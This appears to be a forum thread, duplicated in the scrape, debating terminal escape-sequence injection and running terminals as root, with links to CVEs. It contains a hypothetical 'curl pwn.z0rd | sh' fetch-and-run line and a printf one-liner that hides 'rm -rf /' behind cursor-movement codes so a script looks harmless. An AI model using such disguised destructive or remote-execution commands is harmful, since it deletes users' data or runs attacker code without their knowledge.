5 ms·

While that's an interesting vector for attack, is it realistically an issue? Terminals are run as root all the time. I would guess any mainstream ones are well

by hawk_ 5y ago

While that's an interesting vector for attack, is it realistically an issue? Terminals are run as root all the time. I would guess any mainstream ones are well reviewed to not have such exploits work. Are you aware of any actual attacks exploiting terminal parsing in the wild?

TheDong 5y ago
> Terminals are run as root all the time Is it really common to run terminals as root? I can't remember the last time I did. Sure, I open a terminal as my user, and then run 'sudo bash' to get a shell as root, but the terminal is still running as my user. Were you meaning something else?
- shepherdjerred 5y ago
  I did a lot when I younger and didn't realize that it was a bad practice.
  - arpa 5y ago
    I've been on Linux since 2000s and still maintain the view that real men log in as root on tty1. It's ironman mode, and pure joy of *nix as it was meant to be experienced. You filthy casual. /s
    - dijit 5y ago
      UNIX was designed as a multi-user system. So the joy of UNIX is using many users on one machine. Which, incidentally, is the most pleasurable way of experiencing UNIX and UNIX-likes. (Shellboxen)
- pid-1 5y ago
  I've seem root terminals a lot in CI pipelines in the wild. Also one common way to install "DevOps" stuff piping scripts from curl (and them being asked for root)
immibis 5y ago
There are terminal control codes (status reports) that cause the terminal to send characters. However it looks like the format won't be very useful for RCE. Some of the codes like the cursor position are controllable by sending other control codes first, but you can't set the cursor position to "curl pwn.z0rd | sh"
phonethrowaway 5y ago
the point is it's a feature, not an exploit. control and escape codes are a thing for a reason. it's worse with web stuff though... and it's a real vector. https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=terminal+escape https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=terminal+es... https://packetstormsecurity.com/files/162518/AWS-CloudShell-Terminal-Escape-Injection-Remote-Code-Execution.html https://packetstormsecurity.com/files/162518/AWS-CloudShell-... https://nvd.nist.gov/vuln/detail/CVE-2017-0899 https://nvd.nist.gov/vuln/detail/CVE-2017-0899 https://github.com/InfosecMatter/terminal-escape-injections https://github.com/InfosecMatter/terminal-escape-injections
mirashii 5y ago
screen had a recent RCE of the sort. https://nvd.nist.gov/vuln/detail/CVE-2021-26937 https://nvd.nist.gov/vuln/detail/CVE-2021-26937
seanhunter 5y ago
Noone should be running a terminal as root if it can be avoided. Best practise would be to run the terminal as your user and sudo individual commands as needed. Assuming the command had untrusted output (eg `sudo tail -100F <some log with hostile info>`) the output would still be in your terminal. Any exploit would then need to be in "tail" (because that's the thing in this example you're running as root) or would need to be coupled with a priviledge escalation to get root. This is the kind of vulnerability the GP was talking about here I think https://nvd.nist.gov/vuln/detail/CVE-2021-27135 https://nvd.nist.gov/vuln/detail/CVE-2021-27135 and there have been a few in the history of terminals. If you've looked at the code for the historical terms (xterm, rxvt etc) it's very large and kinda gnarly. If you're security or performance-conscious there are probably better choices nowdays (eg Alacritty which I primarily use) which have a much smaller attack surface.
ximm 5y ago
Classic confusion: terminals typically run as users, but the shells in them often run as root. I could imagine an attack like this: printf 'rm -rf /\n\033[%iAecho "Hello World!"\n' When executed in a terminal this looks like it generates an innocent shell script. But when piped into a file and the executed it will delete all your files.
- Quekid5 5y ago
  I think you meant \r instead of \n immediately after the / ?
jimrandomh 5y ago
Yes. Here's a recent one: https://nvd.nist.gov/vuln/detail/CVE-2021-27135 https://nvd.nist.gov/vuln/detail/CVE-2021-27135
FDSGSG 5y ago
>Terminals are run as root all the time. I would guess any mainstream ones are well reviewed to not have such exploits work This is a really ridiculous assumption.
- barkingcat 5y ago
  yah this is saying "I use this all the time so someone else must be making it safe to use!"
barkingcat 5y ago
I'd be wary of the assumption that mainstream terminals are well reviewed. I'd think terminal software are one of those less glamorous software that doesn't get any attention at all. similarly to shells and base/foundational software (like logging libraries). Bash itself goes for long spans of time without updates in their release versions https://git.savannah.gnu.org/cgit/bash.git https://git.savannah.gnu.org/cgit/bash.git

by hawk_ 5y ago

TheDong 5y ago

> Terminals are run as root all the time Is it really common to run terminals as root? I can't remember the last time I did. Sure, I open a terminal as my user, and then run 'sudo bash' to get a shell as root, but the terminal is still running as my user. Were you meaning something else?

shepherdjerred 5y ago
I did a lot when I younger and didn't realize that it was a bad practice.
- arpa 5y ago
  I've been on Linux since 2000s and still maintain the view that real men log in as root on tty1. It's ironman mode, and pure joy of *nix as it was meant to be experienced. You filthy casual. /s
  - dijit 5y ago
    UNIX was designed as a multi-user system. So the joy of UNIX is using many users on one machine. Which, incidentally, is the most pleasurable way of experiencing UNIX and UNIX-likes. (Shellboxen)
pid-1 5y ago
I've seem root terminals a lot in CI pipelines in the wild. Also one common way to install "DevOps" stuff piping scripts from curl (and them being asked for root)

immibis 5y ago

There are terminal control codes (status reports) that cause the terminal to send characters. However it looks like the format won't be very useful for RCE. Some of the codes like the cursor position are controllable by sending other control codes first, but you can't set the cursor position to "curl pwn.z0rd | sh"

phonethrowaway 5y ago

the point is it's a feature, not an exploit. control and escape codes are a thing for a reason. it's worse with web stuff though... and it's a real vector. https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=terminal+escape https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=terminal+es... https://packetstormsecurity.com/files/162518/AWS-CloudShell-Terminal-Escape-Injection-Remote-Code-Execution.html https://packetstormsecurity.com/files/162518/AWS-CloudShell-... https://nvd.nist.gov/vuln/detail/CVE-2017-0899 https://nvd.nist.gov/vuln/detail/CVE-2017-0899 https://github.com/InfosecMatter/terminal-escape-injections https://github.com/InfosecMatter/terminal-escape-injections

mirashii 5y ago

screen had a recent RCE of the sort. https://nvd.nist.gov/vuln/detail/CVE-2021-26937 https://nvd.nist.gov/vuln/detail/CVE-2021-26937

seanhunter 5y ago

Noone should be running a terminal as root if it can be avoided. Best practise would be to run the terminal as your user and sudo individual commands as needed. Assuming the command had untrusted output (eg `sudo tail -100F <some log with hostile info>`) the output would still be in your terminal. Any exploit would then need to be in "tail" (because that's the thing in this example you're running as root) or would need to be coupled with a priviledge escalation to get root. This is the kind of vulnerability the GP was talking about here I think https://nvd.nist.gov/vuln/detail/CVE-2021-27135 https://nvd.nist.gov/vuln/detail/CVE-2021-27135 and there have been a few in the history of terminals. If you've looked at the code for the historical terms (xterm, rxvt etc) it's very large and kinda gnarly. If you're security or performance-conscious there are probably better choices nowdays (eg Alacritty which I primarily use) which have a much smaller attack surface.

ximm 5y ago

Classic confusion: terminals typically run as users, but the shells in them often run as root. I could imagine an attack like this: printf 'rm -rf /\n\033[%iAecho "Hello World!"\n' When executed in a terminal this looks like it generates an innocent shell script. But when piped into a file and the executed it will delete all your files.

Quekid5 5y ago
I think you meant \r instead of \n immediately after the / ?

jimrandomh 5y ago

Yes. Here's a recent one: https://nvd.nist.gov/vuln/detail/CVE-2021-27135 https://nvd.nist.gov/vuln/detail/CVE-2021-27135

FDSGSG 5y ago

>Terminals are run as root all the time. I would guess any mainstream ones are well reviewed to not have such exploits work This is a really ridiculous assumption.

barkingcat 5y ago
yah this is saying "I use this all the time so someone else must be making it safe to use!"

barkingcat 5y ago

I'd be wary of the assumption that mainstream terminals are well reviewed. I'd think terminal software are one of those less glamorous software that doesn't get any attention at all. similarly to shells and base/foundational software (like logging libraries). Bash itself goes for long spans of time without updates in their release versions https://git.savannah.gnu.org/cgit/bash.git https://git.savannah.gnu.org/cgit/bash.git